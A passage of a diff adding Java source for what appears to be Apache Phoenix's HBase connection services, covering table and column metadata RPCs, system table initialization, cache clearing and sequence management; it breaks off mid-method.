+            MetaDataUtil.getMutationValue(m, PhoenixDatabaseMetaData.DEFAULT_COLUMN_FAMILY_NAME_BYTES, kvBuilder, ptr);
+            List<Pair<byte[],Map<String,Object>>> familiesPlusDefault = null;
+            for (Pair<byte[],Map<String,Object>> family : families) {
+                byte[] cf = family.getFirst();
+                if (Bytes.compareTo(cf, 0, cf.length, ptr.get(), ptr.getOffset(),ptr.getLength()) == 0) {
+                    familiesPlusDefault = families;
+                    break;
+                }
+            }
+            // Don't override if default family already present
+            if (familiesPlusDefault == null) {
+                byte[] defaultCF = ByteUtil.copyKeyBytesIfNecessary(ptr);
+                // Only use splits if table is salted, otherwise it may not be applicable
+                // Always add default column family, as we don't know in advance if we'll need it
+                familiesPlusDefault = Lists.newArrayList(families);
+                familiesPlusDefault.add(new Pair<byte[],Map<String,Object>>(defaultCF,Collections.<String,Object>emptyMap()));
+            }
+            ensureViewIndexTableCreated(tableName, tableProps, familiesPlusDefault, MetaDataUtil.isSalted(m, kvBuilder, ptr) ? splits : null, MetaDataUtil.getClientTimeStamp(m));
+            ensureLocalIndexTableCreated(MetaDataUtil.getLocalIndexPhysicalName(tableName), tableProps, familiesPlusDefault, splits);
+        }
+        
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        MetaDataMutationResult result = metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+            @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        CreateTableRequest.Builder builder = CreateTableRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        instance.createTable(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+        });
+        return result;
+    }
+
+    @Override
+    public MetaDataMutationResult getTable(final PName tenantId, final byte[] schemaBytes, final byte[] tableBytes,
+            final long tableTimestamp, final long clientTimestamp) throws SQLException {
+        final byte[] tenantIdBytes = tenantId == null ? ByteUtil.EMPTY_BYTE_ARRAY : tenantId.getBytes();
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        return metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    GetTableRequest.Builder builder = GetTableRequest.newBuilder();
+                    builder.setTenantId(HBaseZeroCopyByteString.wrap(tenantIdBytes));
+                    builder.setSchemaName(HBaseZeroCopyByteString.wrap(schemaBytes));
+                    builder.setTableName(HBaseZeroCopyByteString.wrap(tableBytes));
+                    builder.setTableTimestamp(tableTimestamp);
+                    builder.setClientTimestamp(clientTimestamp);
+                    
+                   instance.getTable(controller, builder.build(), rpcCallback);
+                   if(controller.getFailedOn() != null) {
+                       throw controller.getFailedOn();
+                   }
+                   return rpcCallback.get();
+                }
+            });
+    }
+
+    @Override
+    public MetaDataMutationResult dropTable(final List<Mutation> tableMetaData, final PTableType tableType, final boolean cascade) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes == null ? ByteUtil.EMPTY_BYTE_ARRAY : tenantIdBytes, schemaBytes, tableBytes);
+        final MetaDataMutationResult result =  metaDataCoprocessorExec(tableKey,
+                new Batch.Call<MetaDataService, MetaDataResponse>() {
+                    @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        DropTableRequest.Builder builder = DropTableRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        builder.setTableType(tableType.getSerializedValue());
+                        builder.setCascade(cascade);
+                        
+                        instance.dropTable(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+                });
+        
+        final MutationCode code = result.getMutationCode();
+        switch(code) {
+        case TABLE_ALREADY_EXISTS:
+            ReadOnlyProps props = this.getProps();
+            boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+            if (dropMetadata) {
+                dropTables(result.getTableNamesToDelete());
+            }
+            invalidateTables(result.getTableNamesToDelete());
+            if (tableType == PTableType.TABLE) {
+                byte[] physicalName = SchemaUtil.getTableNameAsBytes(schemaBytes, tableBytes);
+                long timestamp = MetaDataUtil.getClientTimeStamp(tableMetaData);
+                ensureViewIndexTableDropped(physicalName, timestamp);
+                ensureLocalIndexTableDropped(physicalName, timestamp);
+                tableStatsCache.invalidate(new ImmutableBytesPtr(physicalName));
+            }
+            break;
+        default:
+            break;
+        }
+          return result;
+    }
+    
+    private void invalidateTables(final List<byte[]> tableNamesToDelete) {
+        if (tableNamesToDelete != null) {
+            for ( byte[] tableName : tableNamesToDelete ) {
+                tableStatsCache.invalidate(new ImmutableBytesPtr(tableName));
+            }
+        }
+    }
+    
+    private void dropTables(final List<byte[]> tableNamesToDelete) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        try{
+            admin = new HBaseAdmin(config);
+            if (tableNamesToDelete != null){
+                for ( byte[] tableName : tableNamesToDelete ) {
+                    if ( admin.tableExists(tableName) ) {
+                        admin.disableTable(tableName);
+                        admin.deleteTable(tableName);
+                        clearTableRegionCache(tableName);
+                    }
+                }
+            }
+            
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+    }
+
+    private static Map<String,Object> createPropertiesMap(Map<ImmutableBytesWritable,ImmutableBytesWritable> htableProps) {
+        Map<String,Object> props = Maps.newHashMapWithExpectedSize(htableProps.size());
+        for (Map.Entry<ImmutableBytesWritable,ImmutableBytesWritable> entry : htableProps.entrySet()) {
+            ImmutableBytesWritable key = entry.getKey();
+            ImmutableBytesWritable value = entry.getValue();
+            props.put(Bytes.toString(key.get(), key.getOffset(), key.getLength()), Bytes.toString(value.get(), value.getOffset(), value.getLength()));
+        }
+        return props;
+    }
+    
+    private void ensureViewIndexTableCreated(PName tenantId, byte[] physicalIndexTableName, long timestamp) throws SQLException {
+        PTable table;
+        String name = Bytes.toString(
+                physicalIndexTableName, 
+                MetaDataUtil.VIEW_INDEX_TABLE_PREFIX_BYTES.length,
+                physicalIndexTableName.length-MetaDataUtil.VIEW_INDEX_TABLE_PREFIX_BYTES.length);
+        try {
+            PMetaData metadata = latestMetaData;
+            if (metadata == null) {
+                throwConnectionClosedException();
+            }
+            table = metadata.getTable(new PTableKey(tenantId, name));
+            if (table.getTimeStamp() >= timestamp) { // Table in cache is newer than client timestamp which shouldn't be the case
+                throw new TableNotFoundException(table.getSchemaName().getString(), table.getTableName().getString());
+            }
+        } catch (TableNotFoundException e) {
+            byte[] schemaName = Bytes.toBytes(SchemaUtil.getSchemaNameFromFullName(name));
+            byte[] tableName = Bytes.toBytes(SchemaUtil.getTableNameFromFullName(name));
+            MetaDataMutationResult result = this.getTable(null, schemaName, tableName, HConstants.LATEST_TIMESTAMP, timestamp);
+            table = result.getTable();
+            if (table == null) {
+                throw e;
+            }
+        }
+        ensureViewIndexTableCreated(table, timestamp);
+    }
+    
+    private void ensureViewIndexTableCreated(PTable table, long timestamp) throws SQLException {
+        byte[] physicalTableName = table.getPhysicalName().getBytes();
+        HTableDescriptor htableDesc = this.getTableDescriptor(physicalTableName);
+        Map<String,Object> tableProps = createPropertiesMap(htableDesc.getValues());
+        List<Pair<byte[],Map<String,Object>>> families = Lists.newArrayListWithExpectedSize(Math.max(1, table.getColumnFamilies().size()+1));
+        if (families.isEmpty()) {
+            byte[] familyName = SchemaUtil.getEmptyColumnFamily(table);
+            Map<String,Object> familyProps = createPropertiesMap(htableDesc.getFamily(familyName).getValues());
+            families.add(new Pair<byte[],Map<String,Object>>(familyName, familyProps));
+        } else {
+            for (PColumnFamily family : table.getColumnFamilies()) {
+                byte[] familyName = family.getName().getBytes();
+                Map<String,Object> familyProps = createPropertiesMap(htableDesc.getFamily(familyName).getValues());
+                families.add(new Pair<byte[],Map<String,Object>>(familyName, familyProps));
+            }
+            // Always create default column family, because we don't know in advance if we'll
+            // need it for an index with no covered columns.
+            families.add(new Pair<byte[],Map<String,Object>>(table.getDefaultFamilyName().getBytes(), Collections.<String,Object>emptyMap()));
+        }
+        byte[][] splits = null;
+        if (table.getBucketNum() != null) {
+            splits = SaltingUtil.getSalteByteSplitPoints(table.getBucketNum());
+        }
+        
+        ensureViewIndexTableCreated(physicalTableName, tableProps, families, splits, timestamp);
+    }
+    
+    @Override
+    public MetaDataMutationResult addColumn(final List<Mutation> tableMetaData, List<Pair<byte[],Map<String,Object>>> families, PTable table) throws SQLException {
+        byte[][] rowKeyMetaData = new byte[3][];
+        PTableType tableType = table.getType();
+
+        Mutation m = tableMetaData.get(0);
+        byte[] rowKey = m.getRow();
+        SchemaUtil.getVarChars(rowKey, rowKeyMetaData);
+        byte[] tenantIdBytes = rowKeyMetaData[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetaData[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetaData[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        for ( Pair<byte[],Map<String,Object>>  family : families) {
+            ensureFamilyCreated(table.getPhysicalName().getBytes(), tableType, family);
+        }
+        // Special case for call during drop table to ensure that the empty column family exists.
+        // In this, case we only include the table header row, as until we add schemaBytes and tableBytes
+        // as args to this function, we have no way of getting them in this case.
+        // TODO: change to  if (tableMetaData.isEmpty()) once we pass through schemaBytes and tableBytes
+        // Also, could be used to update property values on ALTER TABLE t SET prop=xxx
+        if (tableMetaData.size() == 1 && tableMetaData.get(0).isEmpty()) {
+            return null;
+        }
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        MetaDataMutationResult result =  metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    AddColumnRequest.Builder builder = AddColumnRequest.newBuilder();
+                    for (Mutation m : tableMetaData) {
+                        MutationProto mp = ProtobufUtil.toProto(m);
+                        builder.addTableMetadataMutations(mp.toByteString());
+                    }
+                    
+                    instance.addColumn(controller, builder.build(), rpcCallback);
+                    if(controller.getFailedOn() != null) {
+                        throw controller.getFailedOn();
+                    }
+                    return rpcCallback.get();
+                }
+            });
+
+        if (result.getMutationCode() == MutationCode.COLUMN_NOT_FOUND) { // Success
+            // Flush the table if transitioning DISABLE_WAL from TRUE to FALSE
+            if (  MetaDataUtil.getMutationValue(m,PhoenixDatabaseMetaData.DISABLE_WAL_BYTES, kvBuilder, ptr)
+               && Boolean.FALSE.equals(PBoolean.INSTANCE.toObject(ptr))) {
+                flushTable(table.getPhysicalName().getBytes());
+            }
+            
+            if (tableType == PTableType.TABLE) {
+                // If we're changing MULTI_TENANT to true or false, create or drop the view index table
+                if (MetaDataUtil.getMutationValue(m, PhoenixDatabaseMetaData.MULTI_TENANT_BYTES, kvBuilder, ptr)){
+                    long timestamp = MetaDataUtil.getClientTimeStamp(m);
+                    if (Boolean.TRUE.equals(PBoolean.INSTANCE.toObject(ptr.get(), ptr.getOffset(), ptr.getLength()))) {
+                        this.ensureViewIndexTableCreated(table, timestamp);
+                    } else {
+                        this.ensureViewIndexTableDropped(table.getPhysicalName().getBytes(), timestamp);
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    @Override
+    public MetaDataMutationResult dropColumn(final List<Mutation> tableMetaData, PTableType tableType) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        MetaDataMutationResult result = metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    DropColumnRequest.Builder builder = DropColumnRequest.newBuilder();
+                    for (Mutation m : tableMetaData) {
+                        MutationProto mp = ProtobufUtil.toProto(m);
+                        builder.addTableMetadataMutations(mp.toByteString());
+                    }
+                    instance.dropColumn(controller, builder.build(), rpcCallback);
+                    if(controller.getFailedOn() != null) {
+                        throw controller.getFailedOn();
+                    }
+                    return rpcCallback.get();
+                }
+            });
+        final MutationCode code = result.getMutationCode();
+        switch(code) {
+        case TABLE_ALREADY_EXISTS:
+            final ReadOnlyProps props = this.getProps();
+            final boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+            if (dropMetadata) {
+                dropTables(result.getTableNamesToDelete());
+            }
+            invalidateTables(result.getTableNamesToDelete());
+            break;
+        default:
+            break;
+        }
+        return result;
+       
+    }
+
+    // Keeping this to use for further upgrades
+    protected PhoenixConnection addColumnsIfNotExists(PhoenixConnection oldMetaConnection, 
+        String tableName, long timestamp, String columns) throws SQLException {
+
+        Properties props = new Properties(oldMetaConnection.getClientInfo());
+        props.setProperty(PhoenixRuntime.CURRENT_SCN_ATTRIB, Long.toString(timestamp));
+        // Cannot go through DriverManager or you end up in an infinite loop because it'll call init again
+        PhoenixConnection metaConnection = new PhoenixConnection(this, oldMetaConnection.getURL(), props, oldMetaConnection.getMetaDataCache());
+        SQLException sqlE = null;
+        try {
+            metaConnection.createStatement().executeUpdate("ALTER TABLE " + tableName + " ADD IF NOT EXISTS " + columns );
+        } catch (SQLException e) {
+            logger.warn("addColumnsIfNotExists failed due to:" + e);
+            sqlE = e;
+        } finally {
+            try {
+                oldMetaConnection.close();
+            } catch (SQLException e) {
+                if (sqlE != null) {
+                    sqlE.setNextException(e);
+                } else {
+                    sqlE = e;
+                }
+            }
+            if (sqlE != null) {
+                throw sqlE;
+            }
+        }
+        return metaConnection;
+    }
+    
+    @Override
+    public void init(final String url, final Properties props) throws SQLException {
+        try {
+            PhoenixContextExecutor.call(new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    if (initialized) {
+                        if (initializationException != null) {
+                            // Throw previous initialization exception, as we won't resuse this instance
+                            throw initializationException;
+                        }
+                        return null;
+                    }
+                    synchronized (ConnectionQueryServicesImpl.this) {
+                        if (initialized) {
+                            if (initializationException != null) {
+                                // Throw previous initialization exception, as we won't resuse this instance
+                                throw initializationException;
+                            }
+                            return null;
+                        }
+                        checkClosed();
+                        PhoenixConnection metaConnection = null;
+                        try {
+                            openConnection();
+                            Properties scnProps = PropertiesUtil.deepCopy(props);
+                            scnProps.setProperty(
+                                    PhoenixRuntime.CURRENT_SCN_ATTRIB,
+                                    Long.toString(MetaDataProtocol.MIN_SYSTEM_TABLE_TIMESTAMP));
+                            scnProps.remove(PhoenixRuntime.TENANT_ID_ATTRIB);
+                            String globalUrl = JDBCUtil.removeProperty(url, PhoenixRuntime.TENANT_ID_ATTRIB);
+                            metaConnection = new PhoenixConnection(
+                                    ConnectionQueryServicesImpl.this, globalUrl, scnProps, newEmptyMetaData());
+                            try {
+                                metaConnection.createStatement().executeUpdate(QueryConstants.CREATE_TABLE_METADATA);
+                            } catch (NewerTableAlreadyExistsException ignore) {
+                                // Ignore, as this will happen if the SYSTEM.CATALOG already exists at this fixed timestamp.
+                                // A TableAlreadyExistsException is not thrown, since the table only exists *after* this fixed timestamp.
+                            } catch (TableAlreadyExistsException ignore) {
+                            }
+                            int nSaltBuckets = ConnectionQueryServicesImpl.this.props.getInt(QueryServices.SEQUENCE_SALT_BUCKETS_ATTRIB,
+                                    QueryServicesOptions.DEFAULT_SEQUENCE_TABLE_SALT_BUCKETS);
+                            try {
+                                String createSequenceTable = Sequence.getCreateTableStatement(nSaltBuckets);
+                                metaConnection.createStatement().executeUpdate(createSequenceTable);
+                                nSequenceSaltBuckets = nSaltBuckets;
+                            } catch (NewerTableAlreadyExistsException e) {
+                                // Ignore, as this will happen if the SYSTEM.SEQUENCE already exists at this fixed timestamp.
+                                // A TableAlreadyExistsException is not thrown, since the table only exists *after* this fixed timestamp.
+                                Integer sequenceSaltBuckets = e.getTable().getBucketNum();
+                                nSequenceSaltBuckets = sequenceSaltBuckets == null ? 0 : sequenceSaltBuckets;
+                            } catch (TableAlreadyExistsException e) {
+                                // This will occur if we have an older SYSTEM.SEQUENCE, so we need to update it to include
+                                // any new columns we've added.
+                                if (UpgradeUtil.upgradeSequenceTable(metaConnection, nSaltBuckets, e.getTable())) {
+                                    metaConnection.removeTable(null,
+                                            PhoenixDatabaseMetaData.SEQUENCE_SCHEMA_NAME,
+                                            PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME,
+                                            MetaDataProtocol.MIN_SYSTEM_TABLE_TIMESTAMP);
+                                    clearTableFromCache(ByteUtil.EMPTY_BYTE_ARRAY, 
+                                            PhoenixDatabaseMetaData.SEQUENCE_SCHEMA_NAME_BYTES,
+                                            PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES,
+                                            MetaDataProtocol.MIN_SYSTEM_TABLE_TIMESTAMP);
+                                    clearTableRegionCache(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+                                }
+                                nSequenceSaltBuckets = nSaltBuckets;
+                            }
+                            try {
+                                metaConnection.createStatement().executeUpdate(
+                                        QueryConstants.CREATE_STATS_TABLE_METADATA);
+                            } catch (NewerTableAlreadyExistsException ignore) {
+
+                            } catch(TableAlreadyExistsException ignore) {
+                                
+                            }
+                        } catch (Exception e) {
+                            if (e instanceof SQLException) {
+                                initializationException = (SQLException)e;
+                            } else {
+                                // wrap every other exception into a SQLException
+                                initializationException = new SQLException(e);
+                            }
+                        } finally {
+                            try {
+                                if (metaConnection != null) metaConnection.close();
+                            } catch (SQLException e) {
+                                if (initializationException != null) {
+                                    initializationException.setNextException(e);
+                                } else {
+                                    initializationException = e;
+                                }
+                            } finally {
+                                try {
+                                    if (initializationException != null) {
+                                        throw initializationException;
+                                    }
+                                } finally {
+                                    initialized = true;
+                                }
+                            }
+                        }
+                    }
+                    return null;
+                }
+            });
+        } catch (Exception e) {
+            Throwables.propagateIfInstanceOf(e, SQLException.class);
+            throw Throwables.propagate(e);
+        }
+    }
+
+    @Override
+    public MutationState updateData(MutationPlan plan) throws SQLException {
+        return plan.execute();
+    }
+
+    @Override
+    public int getLowestClusterHBaseVersion() {
+        return lowestClusterHBaseVersion;
+    }
+
+    @Override
+    public boolean hasInvalidIndexConfiguration() {
+        return hasInvalidIndexConfiguration;
+    }
+
+    /**
+     * Clears the Phoenix meta data cache on each region server
+     * @throws SQLException
+     */
+    @Override
+    public void clearCache() throws SQLException {
+        try {
+            SQLException sqlE = null;
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+            try {
+                htable.coprocessorService(MetaDataService.class, HConstants.EMPTY_START_ROW,
+                        HConstants.EMPTY_END_ROW, new Batch.Call<MetaDataService, ClearCacheResponse>() {
+                    @Override
+                    public ClearCacheResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<ClearCacheResponse> rpcCallback =
+                                new BlockingRpcCallback<ClearCacheResponse>();
+                        ClearCacheRequest.Builder builder = ClearCacheRequest.newBuilder();
+                        instance.clearCache(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get(); 
+                    }
+                  });
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            } catch (Throwable e) {
+                sqlE = new SQLException(e);
+            } finally {
+                try {
+                    tableStatsCache.invalidateAll();
+                    htable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                } finally {
+                    if (sqlE != null) {
+                        throw sqlE;
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new SQLException(ServerUtil.parseServerException(e));
+        }
+    }
+
+    private void flushTable(byte[] tableName) throws SQLException {
+        HBaseAdmin admin = getAdmin();
+        try {
+            admin.flush(tableName);
+        } catch (IOException e) {
+            throw new PhoenixIOException(e);
+        } catch (InterruptedException e) {
+            // restore the interrupt status
+            Thread.currentThread().interrupt();
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION).setRootCause(e).build()
+                    .buildException();
+        } finally {
+            Closeables.closeQuietly(admin);
+        }
+    }
+
+    @Override
+    public HBaseAdmin getAdmin() throws SQLException {
+        try {
+            return new HBaseAdmin(config);
+        } catch (IOException e) {
+            throw new PhoenixIOException(e);
+        }
+    }
+
+    @Override
+    public MetaDataMutationResult updateIndexState(final List<Mutation> tableMetaData, String parentTableName) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tableKey = SchemaUtil.getTableKey(ByteUtil.EMPTY_BYTE_ARRAY, rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX], rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX]);
+        return metaDataCoprocessorExec(tableKey,
+                new Batch.Call<MetaDataService, MetaDataResponse>() {
+                    @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        UpdateIndexStateRequest.Builder builder = UpdateIndexStateRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        instance.updateIndexState(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+                });
+    }
+
+    @Override
+    public long createSequence(String tenantId, String schemaName, String sequenceName,
+            long startWith, long incrementBy, long cacheSize, long minValue, long maxValue,
+            boolean cycle, long timestamp) throws SQLException {
+        SequenceKey sequenceKey = new SequenceKey(tenantId, schemaName, sequenceName, nSequenceSaltBuckets);
+        Sequence newSequences = new Sequence(sequenceKey);
+        Sequence sequence = sequenceMap.putIfAbsent(sequenceKey, newSequences);
+        if (sequence == null) {
+            sequence = newSequences;
+        }
+        try {
+            sequence.getLock().lock();
+            // Now that we have the lock we need, create the sequence
+            Append append = sequence.createSequence(startWith, incrementBy, cacheSize, timestamp, minValue, maxValue, cycle);
+            HTableInterface htable =
+                    this.getTable(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+            try {
+                Result result = htable.append(append);
+                return sequence.createSequence(result, minValue, maxValue, cycle);
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            } finally {
+                Closeables.closeQuietly(htable);
+            }
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+
+    @Override
+    public long dropSequence(String tenantId, String schemaName, String sequenceName, long timestamp) throws SQLException {
+        SequenceKey sequenceKey = new SequenceKey(tenantId, schemaName, sequenceName, nSequenceSaltBuckets);
+        Sequence newSequences = new Sequence(sequenceKey);
+        Sequence sequence = sequenceMap.putIfAbsent(sequenceKey, newSequences);
+        if (sequence == null) {
+            sequence = newSequences;
+        }
+        try {
+            sequence.getLock().lock();
+            // Now that we have the lock we need, create the sequence
+            Append append = sequence.dropSequence(timestamp);
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+            try {
+                Result result = htable.append(append);
+                return sequence.dropSequence(result);
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            } finally {
+                Closeables.closeQuietly(htable);
+            }
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+
+    /**
+     * Gets the current sequence value
+     * @throws SQLException if cached sequence cannot be found
+     */
+    @Override
+    public long currentSequenceValue(SequenceKey sequenceKey, long timestamp) throws SQLException {
+        Sequence sequence = sequenceMap.get(sequenceKey);
+        if (sequence == null) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_CALL_CURRENT_BEFORE_NEXT_VALUE)
+            .setSchemaName(sequenceKey.getSchemaName()).setTableName(sequenceKey.getSequenceName())
+            .build().buildException();
+        }
+        sequence.getLock().lock();
+        try {
+            return sequence.currentValue(timestamp);
+        } catch (EmptySequenceCacheException e) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_CALL_CURRENT_BEFORE_NEXT_VALUE)
+            .setSchemaName(sequenceKey.getSchemaName()).setTableName(sequenceKey.getSequenceName())
+            .build().buildException();
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+    
+    /**
+     * Verifies that sequences exist and reserves values for them if reserveValues is true
+     */
+    @Override
+    public void validateSequences(List<SequenceKey> sequenceKeys, long timestamp, long[] values, SQLException[] exceptions, Sequence.ValueOp action) throws SQLException {
+        incrementSequenceValues(sequenceKeys, timestamp, values, exceptions, action);
+    }
+    
+    /**
+     * Increment any of the set of sequences that need more values. These are the sequences
+     * that are asking for the next value within a given statement. The returned sequences
+     * are the ones that were not found because they were deleted by another client. 
+     * @param sequenceKeys sorted list of sequence kyes
+     * @param timestamp
+     * @throws SQLException if any of the sequences cannot be found
+     * 
+     */
+    @Override
+    public void incrementSequences(List<SequenceKey> sequenceKeys, long timestamp, long[] values, SQLException[] exceptions) throws SQLException {
+        incrementSequenceValues(sequenceKeys, timestamp, values, exceptions, Sequence.ValueOp.INCREMENT_SEQUENCE);
+    }
+
+    @SuppressWarnings("deprecation")
+    private void incrementSequenceValues(List<SequenceKey> keys, long timestamp, long[] values, SQLException[] exceptions, Sequence.ValueOp op) throws SQLException {
+        List<Sequence> sequences = Lists.newArrayListWithExpectedSize(keys.size());
+        for (SequenceKey key : keys) {
+            Sequence newSequences = new Sequence(key);
+            Sequence sequence = sequenceMap.putIfAbsent(key, newSequences);
+            if (sequence == null) {
+                sequence = newSequences;
+            }
+            sequences.add(sequence);
+        }
+        try {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().lock();
+            }
+            // Now that we have all the locks we need, increment the sequences
+            List<Increment> incrementBatch = Lists.newArrayListWithExpectedSize(sequences.size());
+            List<Sequence> toIncrementList = Lists.newArrayListWithExpectedSize(sequences.size());
+            int[] indexes = new int[sequences.size()];
+            for (int i = 0; i < sequences.size(); i++) {
+                Sequence sequence = sequences.get(i);
+                try {
+                    values[i] = sequence.incrementValue(timestamp, op);
+                } catch (EmptySequenceCacheException e) {
+                    indexes[toIncrementList.size()] = i;
+                    toIncrementList.add(sequence);
+                    Increment inc = sequence.newIncrement(timestamp, op);
+                    incrementBatch.add(inc);
+                } catch (SQLException e) {
+                    exceptions[i] = e;
+                }
+            }
+            if (toIncrementList.isEmpty()) {
+                return;
+            }
+            HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_FULLNAME_BYTES);
+            Object[] resultObjects = null;
+            SQLException sqlE = null;
+            try {
+                resultObjects= hTable.batch(incrementBatch);
+            } catch (IOException e) {
+                sqlE = ServerUtil.parseServerException(e);
+            } catch (InterruptedException e) {
+                // restore the interrupt status
+                Thread.currentThread().interrupt();
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                .setRootCause(e).build().buildException(); // FIXME ?
+            } finally {
+                try {
+                    hTable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
